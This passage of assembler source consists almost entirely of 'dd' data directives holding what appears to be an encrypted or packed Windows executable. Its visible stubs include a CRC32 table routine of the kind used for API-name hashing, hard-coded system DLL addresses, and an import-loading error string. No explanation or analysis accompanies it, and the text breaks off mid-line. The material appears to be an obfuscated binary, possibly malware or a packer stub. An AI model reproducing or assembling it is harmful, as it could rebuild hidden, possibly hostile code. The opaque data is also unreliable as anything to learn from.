0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h dd 9D3AAE63h, 848C0A22h, 11AB5342h, 55FFEA22h, 0ABA4245Dh dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h dd 0EE27BFEAh, 0E75BDB2Fh, 9475130Fh, 0D9020112h, 6039E6A0h dd 0EC79AEA4h, 41AE51A1h, 0A722DC09h, 0BA8C3099h, 0DF103773h dd 0C821732Ah, 711BA228h, 0FD5BEA2Ch, 508C152Bh, 0B6009881h dd 0ABAE7411h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 604527C0h dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah, 4BBEC830h dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6039E6A0h dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h dd 0BE290BA2h, 43AFDAA3h, 0DFA02429h, 4D1957h, 54A8515Eh dd 0D775532Ah, 52B7473Bh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h dd 0D9F9FA31h, 6039E6A0h, 0D79AEA4h, 2320949Ah, 328C651Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h, 0A32851A2h dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h dd 0A722DC08h, 0BA8C3099h, 0FEF8E173h, 0F6799FA7h, 85575787h dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h dd 0D775152Ah, 52B7596Bh, 0C8204526h, 711BA228h, 0F55BEA2Ch dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 531387D5h, 8C2357BDh dd 0EF491786h, 0E75BDB2Fh, 9475130Fh, 0BD28E9C4h, 8600BE4Ch dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h, 0DC18EA80h dd 0DFAE4EB4h, 8558B9E2h, 0A732DC08h, 0BA8C3099h, 94103771h dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 0D775BF86h, 52B7473Bh, 7726DDA1h, 0CE25FB63h, 43AFA6D9h dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h dd 54A8515Eh, 7732732Ah, 0D903376Bh, 6039E6B0h, 327BAEA4h dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h dd 0FDEC152Ah, 0FFCEB824h, 0F6798FA7h, 87575787h, 320A09Ah dd 0CE25FB0Eh, 43AFA6D9h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 60584FC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h dd 0CE2559D7h, 43AFD8A5h, 3232DCF1h, 0BA8C30E4h, 0A8EDD871h dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 7165CE38h, 0DF07462Ch dd 528D9FC4h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh dd 88218FA7h, 0D9FB5787h, 604473B0h, 0DD7BAEA4h, 5863E96Fh dd 0ABA851A2h, 3075195Fh, 0E332DCAAh, 168C30E7h, 9ACECB2Fh dd 9675130Fh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h dd 3044BAh, 978D8D00h, 8B0625D3h, 1F11AD9Dh, 5D8D8906h dd 8B061F0Bh, 1F0DB5B5h, 0C585C706h, 70061F20h, 66000065h dd 85C7D38Bh, 61F137Dh, 0 dd 19CCB866h, 3291B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0FDCEFAC3h, 85893E52h dd 61F2005h, 8018589h, 95FF061Fh, 61F2D59h, 95FF006Ah dd 61F1D45h, 4CEBC08Bh, 8B1D5EB1h, 47F80B2Ah, 1877D4F1h dd 9C53D2BAh, 73A08913h, 0D68B99D6h, 82FB5941h, 96BA1429h dd 0C98CA7AAh, 5048C203h, 71CB0BFBh, 8A95C9A6h, 1A2960B0h dd 2B3EEBD7h, 421E3578h, 49B0A9C7h, 50D327FEh, 0D97E01DCh dd 8C27D1C4h, 3BE9h, 0BD8B6000h, 61F24A5h, 3304EF83h, 0BBC18BC9h dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh dd 7E8C88Bh, 0DD000000h, 0C0A36D01h, 0C38B2039h, 0B70F535Ah dd 0C2815EC6h, 6764h, 33F78B66h, 45858BFFh, 0FF061F31h dd 852B1734h, 61F09A9h, 0C5B58959h, 81061F05h, 0A512DEE9h dd 6870F3Ah, 8B000000h, 1F0FD5B5h, 33F18106h, 0E86F4A20h dd 0Eh, 0D3CE78BEh, 0DE486089h, 661A5E24h, 95891B85h, 61F10E1h dd 0DFF1815Eh, 3379EC2Dh, 1F273D9Dh, 3A0C8906h, 11FDB58Bh dd 858B061Fh, 61F1899h, 475AEF81h, 0C7811571h, 15714756h dd 7ECE8166h, 34FF81D1h, 0FFFFF99h, 0FFFF8685h, 0E901B7FFh dd 89h, 53CA3775h, 72E9168Fh, 8E05FCAEh, 0A920DFCAh, 0C940C1E5h dd 0ECBAC37Dh, 0D9DA9E15h, 0ADFBBF36h, 8E19DD54h, 0B831FA71h dd 0ADCD340Ch, 1C8FC719h, 99B6445h, 758A1FD3h, 0A17F4EFEh dd 5DA11FD3h, 0A51F95E9h, 1FD7A15Dh, 197C6A6Dh, 33520h dd 0A7BE0000h, 9A674540h, 0AC535408h, 0BF42661Ah, 0D53A792Dh dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh dd 0D06886A2h, 0E90625D4h, 0FFF9A82Eh, 0D962774Eh, 0D54AB810h dd 0C5030625h, 10E8h, 0AF8D800h, 881DDDF6h, 56A7246Dh dd 530C9B36h, 0CE9D6h, 0C0CC0000h, 51780708h, 70D90241h dd 0B95ABA7Eh, 352E59D2h, 6BEFC281h, 880F0000h, 6, 2FB19589h dd 0FF33061Fh, 0FF66C480h, 0BD011734h, 61F1A5Dh, 6BF3815Bh dd 8140F4C7h, 8C01E3D6h, 72F38172h, 11B2DE8h, 1F24C585h dd 9FC38106h, 0F39BFD0h, 8B53C1BFh, 3A048FC6h, 2E018D09h dd 83F8061Fh, 8D8B04EFh, 61F0D2Dh, 94C0FF81h, 850FFFFFh dd 14h, 1331B58Bh, 1DE9061Fh, 0F3000000h, 11758AC8h, 73B89833h dd 98E9C18Bh, 4AFFFFFFh, 7E5C70Eh, 3D57FA8Fh, 658A5876h dd 578704EBh, 0DCE92D87h, 6800000Dh, 625D844h, 0F9A755E9h dd 0D91868FFh, 4BE90625h, 68FFF9A7h, 625D9FBh, 0F9A741E9h dd 0DA7F68FFh, 37E90625h, 68FFF9A7h, 625DDD4h, 0F9A72DE9h dd 0E16E68FFh, 23E90625h, 68FFF9A7h, 625E283h, 0F9A719E9h dd 31D0DCFFh, 50AFF6BAh, 6C9515D9h, 877831F5h, 0A75A4C10h dd 232AE430h, 43077E83h, 64289F70h, 8246BD44h, 9A63DA25h dd 0CB9D7521h, 0F83019ADh, 0F7BC7C85h, 6244F418h, 4166269Fh dd 60842CBEh, 678E1ACEh, 842CBE43h, 350269E0h, 4A3BE760h dd 8F15F0B2h, 2C1AD006h, 0D96DD31Eh, 0F354653Dh, 0DC258125h dd 92CBEFA3h, 0D8AC4CDEh, 3E25F354h, 59A601C1h, 80FB1FC7h dd 0F59CDD5Eh, 91510974h, 2FC8EC15h, 3Eh, 0F495A2BCh, 2DA64AB5h dd 34C63B6Dh, 38DC3380h, 0EAEF9B14h, 5715F082h, 0C9ED1297h dd 0AA4ADC90h, 25F2C2D6h, 0B446C9EAh, 0C557AA00h, 46E7F786h dd 0C67569E8h, 97463F3h, 161Ah, 1CDAA700h, 4D000009h, 65111B8Dh dd 1FD3A18Dh, 36C86C20h, 45076A8Eh, 570B9D62h, 110A2D50h dd 1F1ADDC8h, 0CD79027Bh, 1FD347F5h, 39B0D488h, 0B73065D2h dd 0F04EF60Bh, 24834315h, 0CA7EB7DBh, 4DC49838h, 0AB2A25F2h dd 0ECB10833h, 515C0975h, 0D3000000h, 0DA6C9513h, 0AF3E2BB0h dd 54F880F0h, 0DC000FA4h, 0EEBC7C79h, 0BD619E07h, 9CF14699h dd 0D9DA9A23h, 0D1761236h, 3E15F080h, 0C03109B5h, 10C425F2h dd 6DFFB3ECh, 0F2C0F9CDh, 0FEE05F25h, 73BF245Ah, 2BF1CD3Bh dd 9287107h, 0B8C50974h, 52000000h, 17916245h, 0DCD46EAh dd 0B9565DA6h, 0B7DB7F27h, 0CC357125h, 0DE21863Ah, 0E40F984Ch dd 6AE40CFh, 473BEB62h, 5B1FD3A6h, 7A3AB34Ch, 973FD130h dd 6F38FC73h, 90A7FE90h, 9D7CC17Bh, 7519F51Bh, 0F8D750FCh dd 0AC6C15F0h, 0EA6105FCh, 68E1B483h, 70E5E432h, 0A5C90503h dd 0DD48802Ch, 27DB1C14h, 49B8EEAEh, 69980ED2h, 66C30602h dd 0C8E77DFAh, 0B19h, 0DF56AB01h, 0FE758A1Bh, 1A91703Ah dd 35AC5356h, 55CC3571h, 60464F09h, 4D662AA1h, 21874BC2h dd 2A569E0h, 44BD86FDh, 0ADC9C098h, 0A81B5319h, 6F47F37Ch dd 21FD3A1h, 2C7A2A4Eh, 0D9A5ED5h, 0A2047BF2h, 0FE870095h dd 0D3A17A52h, 33590D1Fh, 0E3599F9Dh, 5CD5F921h, 0EFE40BB0h dd 7204B815h, 0F223FED2h, 0F9E56425h, 75C27742h, 9B9609h dd 45230000h, 570B9D62h, 8020B24Fh, 1FD3A68Ch, 0C7EC07A0h dd 2F8CB648h, 7473AB9Dh, 8C1DCD71h, 9458CF73h, 0DD5AEC13h dd 6CD0A854h, 77231FD4h, 1FD46C9Fh, 91457E32h, 781D1A6Dh dd 7CDA53FFh, 0BB6F15F1h, 375ADD44h, 0E8AF12BEh, 0A85C1C14h dd 0CA376F2Fh, 0EA178F53h, 663F7983h, 3F5EF4FAh, 0A45h dd 0B827F2Dh, 2AA15E47h, 46BD4466h, 61D82782h, 81F8099Dh dd 34727B35h, 219256CDh, 0F5B377EEh, 0D6D1950Ch, 70E9B229h dd 0ADC8ECC4h, 0D4477F19h, 29A06145h, 46BD4265h, 47F37CCFh dd 1FD3A16Fh, 7A2A4E02h, 0C340D22Dh, 0C8024A8Dh, 2DDEBD1Ah dd 1A5CB78h, 5F0F3318h, 7E3EB748h, 3EB5D928h, 0FDBD6520h dd 1BC355AAh, 0FE93A4F7h, 5C20D985h, 0F5B515F0h, 94BE50B1h dd 0FC3363A7h, 0B458FC12h, 0D62B7B3Bh, 0E5789C44h, 356E5645h dd 1376C1B7h, 34CBDA9Ah, 48DA2584h, 7A037CA0h, 6515ECBAh dd 0FB97BB44h, 0C5D4A276h, 0BF506323h, 0D1E2A21Bh, 0E004AC3Eh dd 4D40F74Eh, 1BC528D4h, 0BE72CBF9h, 0AAFCBC45h, 2A65B4Bh dd 86792EDEh, 0A55A4D0Dh, 0D0476B13h, 0FD649B0Ch, 4A0202F9h dd 62AFCE64h, 4A000009h, 64289F62h, 8347BE41h, 9F63DA27h dd 0BA7EF50Ah, 529E15ECh, 0F0119598h, 11FEB579h, 2FD2D69Ah dd 4CB3F4B8h, 0E7930CD5h, 19ADC90Fh, 45F76AA2h, 0EC159162h dd 0D85FB648h, 0BF903CB5h, 4415F0A7h, 51571790h, 0ECAC39B0h dd 6E1E42BDh, 9535C73Ah, 25F2A7BDh, 0F2B819EDh, 13AD8A25h dd 348C36DDh, 4A06E52h, 25F3722Ch, 0EE670BBFh, 10792142h dd 8012C61Ch, 0BD24DBCCh, 0FA196F6Fh, 0DE65841Ah, 0C6000008h dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h dd 19ADC78Bh, 0A273E61Eh, 0FE870095h, 0D3A17A52h, 0ED14961Fh dd 0BA7AB35Bh, 0DB8315ECh, 0EE9A1337h, 15F0A8CDh, 0BC45BE72h dd 0C153AEFCh, 0A7A57D19h, 843825F2h, 8B1ACE60h, 0B070FD74h dd 38E80C03h, 8300926Dh, 891BE4C3h, 0C96ABDE1h, 8D39F1B8h dd 25F2A7B5h, 5EF09448h, 0A75D35E1h, 3CF025F2h, 0CF7BF498h dd 25F2A83Fh, 19E8C282h, 82BBDF87h, 2DAA3CCEh, 9F71DBF7h dd 84A89480h, 0C383D509h, 4BFB1FF0h, 7E2EA55Ah, 25F2CBAAh dd 37E36CF5h, 25F2CB5Fh, 0CAA23EF2h, 5D25F2CBh, 0AC8430A9h dd 3F25F2CBh, 1F14678Bh, 8945F16Ah dd 2425F2CBh, 7035F970h, 915DFD8Fh, 0B725F2CCh, 2A7BA638h dd 0B9A5ED5h, 46F27BF4h, 25F2CC6Eh, 0A7E01F8Ah, 9D3DCFF3h dd 25F2CCF9h, 2F7A7B2Dh, 0F2963ED0h, 2FDAC60h, 7F5FDE70h dd 3DA120AEh, 0C73EC1E4h, 0D32E7A3Ah, 0B2D75CAFh, 0D42D7939h dd 0FD769A42h, 0F2CC7C51h, 0DC550925h, 0E0728D1Ch, 0E2821438h dd 91D1F265h, 0D8805EDDh, 31CBA34Fh, 0AA5E9A54h, 0C8A9F086h dd 9B4475EBh, 0D1000001h, 870095A2h, 8B6A3EFEh, 0AD55E728h dd 0A849E509h, 0D15F0AEh, 0AF00D884h, 0A75325F2h, 25F2AECFh dd 0C175AE62h, 37B0649Dh, 58CF3077h, 5AEC1394h, 0B71B48BAh dd 6777069Ch, 9B12EDBAh, 9D2FD0D7h, 29A0ED46h, 29BB4465h dd 54CD3275h, 0C7EB1694h, 0F1B8C50h, 395A8B63h, 0C66A1EADh dd 0D1729434h, 3A617C1h, 0F1B66AFCh, 486DC88Ch, 8C301BCAh dd 0E3FB76FAh, 29B5444Ah, 0D950AFF8h, 0F46D9215h, 678B7634h dd 0CCB57ED5h, 3B7828E7h, 2EB730D4h, 0C43EAA82h, 65893D1Fh dd 3E6840ECh, 32BB1FC4h, 0C43EAE86h, 698D411Fh, 43037C30h dd 0EC139263h, 0EA0EB25Ah, 35F7AF73h, 0C43EB189h, 0EC90441Fh dd 0AF7B373h, 1EE1C478h, 1C40E48Ch, 8D00338Ah, 3E8C6814h dd 73271FC4h, 0E6F38FCh, 6A822306h, 6BE4885Eh, 788722E2h dd 0CAA23EE6h, 5D1FC443h, 3FF385A9h, 98219A67h, 0C44414ECh dd 0CFF3A71Fh, 0B22CAB3Dh, 50C7386Fh, 6BE41B8Ch, 0DD01FEABh dd 4A3FF44Bh, 434525D1h, 34E81FC4h, 51AEF9BDh, 749B18D8h dd 1B8A3AE2h, 7A2EC0E4h, 9A5AD32Eh, 3CCEF20Dh, 0B36E70FBh dd 56ABFFF4h, 1781CC4h, 3956A3Dh, 890287ACh, 9A654000h dd 43F6DA76h, 0E1A11FC4h, 0A83AC7h, 2258E55Ch, 8DD8D45Ch dd 3BEB0F33h, 0AB02946Dh, 38C0588h, 0C49E7F57h, 3A5E121Fh dd 9E6D15C1h, 0AAE01FC4h, 0F0E8EC6Ch, 1AE40AC6h, 5F0E164Bh dd 2FEF680Ch, 64F7037Ah, 72BB8283h, 70943CCEh, 624582F9h dd 94A7161Bh, 0C2661054h, 3E53E44Bh, 0F00819C5h, 0D98D15EFh dd 0F908A060h, 734BF780h, 625F22Eh, 0F3B72E52h, 63BA4CB5h dd 1248C1D4h, 0ACFC6870h, 0B12A4E47h, 0F913405h, 7305B91Ch dd 11A0FFD3h, 0C2C7702Ch, 0A77C9D49h, 6D21222Eh, 0AA8027DBh dd 30A726FEh, 6105B932h, 7ABD16FAh, 98B74DE4h, 589h, 4FC63B71h dd 6EE51A8Bh, 8A0100AAh, 0A51CE3C6h, 0C53CC5E1h, 0F0B6BF79h dd 0DDD69A11h, 0B1F7BB32h, 9215D950h, 0B42DF66Dh, 0ADC43008h dd 188BC319h, 627E95A2h, 60E10668h, 0D1639C0Bh, 68E18529h dd 0D2AA56DFh, 651FD371h, 0EB458BB1h, 0D20CAAC1h, 5E4912AEh dd 0ABE15F0h, 845C0891h, 1725F25Eh, 0DAD3F63h, 25F25E38h dd 7EBD21A0h, 975FB3Bh, 112D2h, 95595F00h, 1FD3A1h, 4966940h dd 0A1E8C05Ch, 0C77B1FD3h, 0B575EE23h, 3CEC10F1h, 901D946Bh dd 0D1C4DF5Ah, 0EF9729D6h, 0D73DA5C9h, 0EE808127h, 66CF2246h dd 0C0EAAA23h, 0F8A41D41h, 1FD2A518h, 0C17507BBh, 0C09844E6h dd 531FD2A4h, 58EA1793h, 575C0CB0h, 659B14B8h, 0DA103C62h dd 45BCE014h, 802657DEh, 0A347EF81h, 0C5E1A12Ah, 8902AA3Ch dd 0D2FA05DDh, 0C0E4981Fh, 0D2F94424h, 0A133E71Fh, 17EF9B24h dd 0AA1FD2FAh, 8522D2F6h, 999C037Ah, 0F99F7723h, 7E321FD2h dd 0D52B61DAh, 0F7A59107h, 0F503C725h, 0D0B2C8CFh, 1DD3AB57h dd 0B2661FD3h, 0B569158Eh, 401FD31Dh, 865AFA8Ch, 0BC1FD35Dh dd 58DDA13Dh, 7737C039h, 1EE3C330h, 0C740E48Ch, 0D35D431Bh dd 0FE22D61Fh, 0D35DAE62h, 0C85391Fh, 764EFA83h, 91FD35Dh dd 5DE1B955h, 0ACFD1FD3h, 0E019C153h, 6291082Ch, 10Bh dd 1A8C4CD5h, 11AD55E7h, 1FD35D39h, 0E11745DFh, 2760F45Ch dd 0A2EC4F73h, 0FE870095h, 0A28BD6C8h, 10344006h, 0F0925374h dd 0B244F815h, 654EB5FEh, 4FE284AAh, 12F9148Eh, 0A190F76Eh dd 0E7C36FE8h, 4225F1DCh, 0B4D82782h, 9535C77Bh, 25F1DCC6h dd 437A726h, 9757DB5h, 6B43EF78h, 0FE25F1E4h, 0F40B9A4Ah dd 0A137D0h, 0A2C40000h, 0D581FA8Fh, 1FD3A1FDh, 0CD4ADC90h dd 0A1C09844h, 9F531FD3h, 1BE8CB7Bh, 30E4768Bh, 3EE28679h dd 9063CC5h, 0E1F46DB2h, 0E0845CF8h, 2BD71FD2h, 1FD2E053h dd 45F932E6h, 0EE43AA21h, 0D276229Bh, 7D1FD2E0h, 4A3FAC47h dd 0FFA35D25h, 1DE4C686h, 2DBFE38Bh, 0D380B98Dh, 6E70EF1Fh dd 0EF682110h, 0FF02A666h, 5129C56Dh, 0F71FD380h, 36D19285h dd 0C97DB654h, 6DA32CA5h, 1BED716Dh, 19B5D9E8h, 1FD2F875h dd 33F36C20h, 0F1688C75h, 572FDB64h, 0EA1FD2F8h, 3911BD36h dd 0CC1FD2F8h, 7C91F418h, 0A16F47F3h, 4E021FD3h, 0D22D7A2Ah dd 0A603C340h, 0FB1FC759h, 2CA35C4Bh, 0A61F72C5h, 0A199711Dh dd 782C1FD3h, 8D1FE2C8h, 9C48C1E5h, 15F0A987h, 5EE76014h dd 0A85129D5h, 30E425F2h, 0F2A8BC94h, 779B4F25h, 0A87145E5h dd 58D725F2h, 41E4B586h, 38090974h, 80000000h, 0BADEC84Ah dd 92EC12EDh, 0C92C50CDh, 0EB7E95A2h, 0A2578F98h, 8C38B155h dd 15F06FE7h, 30DFD494h, 0C052F69Eh, 0F2AF4C20h, 0AB33B225h dd 744EC990h, 0D6E409h, 7C710000h, 0C09A3446h, 6B1B3ED1h dd 0F2A2C63Bh, 976A3EB5h, 40447AF3h, 32523015h, 9B731F98h dd 2E1FD325h, 10C4567Ah, 32F26B96h, 54FC8E81h, 61219E30h dd 0E696BA47h, 0F8AC3EC1h, 29D950AFh, 1FD32A35h, 28A15E49h dd 9EC23D68h, 0BB446327h, 3065D229h, 3EE20BB7h, 0A35715F0h dd 0C33E6A2Ah, 0EE658931h, 64DDB087h, 13ADDDB8h, 4DC67A1Ch dd 63A78EC4h, 0C3E8B523h, 4B6FA013h, 7FF60B9Bh, 0A90AEBBBh dd 0B95BC266h, 0A4FA67E8h, 1EFEF0Eh, 0D5D70000h, 0B4F1B52Ch dd 9A10D44Bh, 7D2CF067h, 5F470B82h, 25DF2BA2h, 47B8620h dd 259C7340h, 43BA4761h, 60D7287Fh, 9A721E97h, 2D19ADC0h dd 614582F5h, 426529A0h, 30B946BDh, 0D3A1AC84h, 0DB8B3F1Fh dd 0AF1236CBh, 870095A2h, 0F08136DBh, 8423E315h, 7E35E97Bh dd 0D049ED91h, 0D96B9610h, 0AD0329AFh, 963A103Ah, 6C40E072h dd 8025F2CBh, 9549DB26h, 0B55DEF10h, 584FA405h, 0C96D15A7h dd 736BF637h, 1DD5CBAh, 746A7F3Ah, 0CA8E09h, 451B0000h dd 570B9D62h, 5931DD4Fh, 0EC1FD3A1h, 0DF228838h, 6F01A54Dh dd 0D3A6DBCFh, 4166261Fh, 0B842CBEh, 0D3A6875Fh, 42661A1Fh dd 73EA1592h, 7507F8AFh, 0FB74191Eh, 0F0BB264Fh, 6EE79B15h dd 0E105FCAEh, 961DDD6Ah, 0C63FE779h, 0F2B9421Ah, 0FD21D525h dd 0ABFC8DAAh, 761AC254h, 271151FDh, 0B41C14h, 22DFC787h dd 38BDE9A9h, 5901936Eh, 5CA505B5h, 87FE22CAh, 0B71EE3C3h dd 0FA677A5Fh, 0DA4160F6h, 0C2000000h, 0DCA017EAh, 0FBBF36C9h dd 17DB52AFh, 32F66D92h, 0CA168D74h, 68990D10h, 89862DF1h dd 0A75A4E12h, 0C43B6C30h, 5F0B844Dh, 19ADBF87h, 456FE21Ah dd 0BCD71E61h, 1A3B9A53h, 6C3BFF76h, 4FE11E87h, 158C03A7h dd 0BEABC7Ch, 9DC1659Ah, 0B345BAEDh, 5B4BA8FFh, 0C86C14A6h dd 0B23BC451h, 0D3A12E06h, 710DC11Fh, 1FD3A199h, 154782Ch dd 0FAD27E36h, 8D1FD3A1h, 6C9BB3D9h, 0B7F52157h, 44EE9A13h dd 0BF15F8B3h, 0E2C5790Bh, 0C5E2A61Dh, 3D08A83Ah, 0ED399927h dd 0FC13A060h, 0A0815DD8h, 0BD81F807h, 0CF8315EAh, 23AC25DAh dd 9B669F77h, 5A7E3251h, 27B736C8h, 10D0ADFAh, 0C0981862h dd 0C387FEA2h, 6A891BE4h, 11h, 6A2AA7F3h, 862EC03Fh dd 9F629B60h, 7CA09F98h, 9A674519h, 0AC535408h, 0BF42661Ah dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh dd 34CBDA8Eh, 895286A2h, 4C281E2h, 83000000h, 148704EAh dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0BA682404h, 89000056h, 0BB53241Ch, 41AE0C00h, 3597EB81h dd 58533B88h, 7D05685Bh, 24890000h, 24048124h, 4, 481505Bh dd 0D7386E24h, 8438F3Bh, 386EBD55h, 6B293BD7h, 34FF5D08h dd 0C4835B24h, 2434FF04h, 4C48358h, 0F99989E9h, 449EC1FFh dd 0B8F19862h, 625E382h, 0E0FFC503h, 3B34CF46h, 12B7ACE7h dd 15606FE1h, 4F68023Eh, 5FDBF2C1h, 584BDE02h, 7A87A659h dd 78FAA206h, 7CEEAC27h, 15EAA5EBh, 770DF4EEh, 291A6C2Fh dd 0D88583Eh, 44913407h, 466B709Eh, 3010E1B2h, 7CF7B4BBh dd 107E0E84h, 7440540h, 5867B74Eh, 5E49D7B4h, 7F7F72A7h dd 376268A6h, 7D553C57h, 32A307D9h, 6C465773h, 23CB0BB9h dd 3F2E16D2h, 7232FF90h, 0E54E8D8Dh, 6A0625h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3227E7C3h dd 0DF1F7FFCh, 0B5D8D89h, 0EB4061Fh, 0DB286BB8h, 0C585C76Ch dd 0C0061F20h, 6A000062h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F66C351h, 2388h, 10E96000h dd 25000000h, 0A7078D69h, 0F04C1943h, 60D167DDh, 0E964A200h dd 7, 5B603283h, 6130AAB9h, 137D85C7h, 61Fh, 0B52B0000h dd 61F1F35h, 3025B5FFh, 8D89061Fh, 61F1099h, 2D5995FFh dd 13E8061Fh, 22000000h, 339B9BC3h, 3B9E4E8Ah, 88DD8373h dd 0F5C43DADh, 0BD8B48FCh, 61F0D99h, 25BD8958h, 6A061F2Fh dd 4595FF00h, 8B061F1Dh, 0B36DEBC0h, 0E9C9825Bh, 33CE18EBh dd 5D2E6FCFh, 0BDB0FD34h, 1D76A83Bh, 0DD8906D3h, 0EA838A46h dd 154BDE59h, 82CBA693h, 90A0F0D9h, 0FF2348ABh, 0A9859C0Dh dd 1B964DC6h, 9DFF337Eh, 0ABC89AB3h, 8BFEC5A0h, 0F4230F5Dh dd 0EECA325Dh, 319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h dd 8B9A8C42h, 0EE6F0FD9h, 0ADA3482Bh, 9BDA77B6h, 0F5C8F450h dd 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h, 6F727245h dd 61682072h, 636F2073h, 65727275h, 68772064h, 20656C69h dd 64616F6Ch, 20676E69h, 6F706D69h, 737472h, 77E7AC37h dd 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h, 77E60000h dd 7, 5 dup(0) dd 77E7A5FDh, 2Ch dup(0) dd 2, 0C706E148h, 63921DF4h, 8F96A6CFh, 340A60E3h, 0B11C1311h dd 2D0A3735h, 2B616642h, 0F29E3572h, 321177A9h, 5790EF88h dd 0BF13794Bh, 13BAC2BFh, 69C69917h, 63A8E5D0h, 3213795Bh dd 61457156h, 321177A9h, 5790EF88h, 0BF13794Bh, 13B9F5BFh dd 69C69917h, 0B1D5EDD0h, 17F372F9h, 0B61A6624h, 32156601h dd 8A74E305h, 0E2EA6061h, 8A84E3AFh, 0E2EA6034h, 1230E34Eh dd 5A43605Bh, 0AEBDDE70h, 64D3EEh, 0B7986097h, 34371FD7h dd 0B79CB6DDh, 340A48A8h, 0D4F1E305h, 0BF456061h, 17F0A3A7h dd 0A7EA3617h, 340A79A9h, 28A4E383h, 3215603Dh, 0B7D36611h dd 340A46ADh, 5B7C0E01h, 87EAE850h, 340A46C8h, 0B58E305h dd 0E2EA605Bh, 161CE3ABh, 0B7D3600Eh, 340A46ADh, 594B0E07h dd 87EAFA45h, 340A46C8h, 0B58E305h, 0E2EA605Bh, 0D7E9E3ABh dd 0B7D36034h, 340A46ADh, 5A3C0E10h, 87EA8840h, 340A46C8h dd 0B58E305h, 0E2EA605Bh, 0D415E3ABh, 0B7D36034h, 340A46ADh dd 0AD70E01h, 87EABC42h, 340A46C8h, 0B58E305h, 0E2EA605Bh dd 0D411E3ABh, 8F966034h, 340A687Dh, 77906944h, 0F4156622h dd 2D354394h, 0B47D238Eh, 0CDEF463Ah, 2D35BF97h, 7F90EB17h dd 0CD1379B1h, 3A90EF94h, 0F41343C4h, 2D354394h, 0F17D2A8Eh dd 0CDF54094h, 2D35BF97h, 7F90EB17h, 0CD1379B1h, 3E90EF94h dd 0DB1343C4h, 32156651h, 1230E34Eh, 5A47605Bh, 8E5F822Fh dd 39A8D3EEh, 0B7986097h, 340A5F09h, 0B79CB6DDh, 34308019h dd 1230E34Eh, 5A47605Bh, 94592C6Ah, 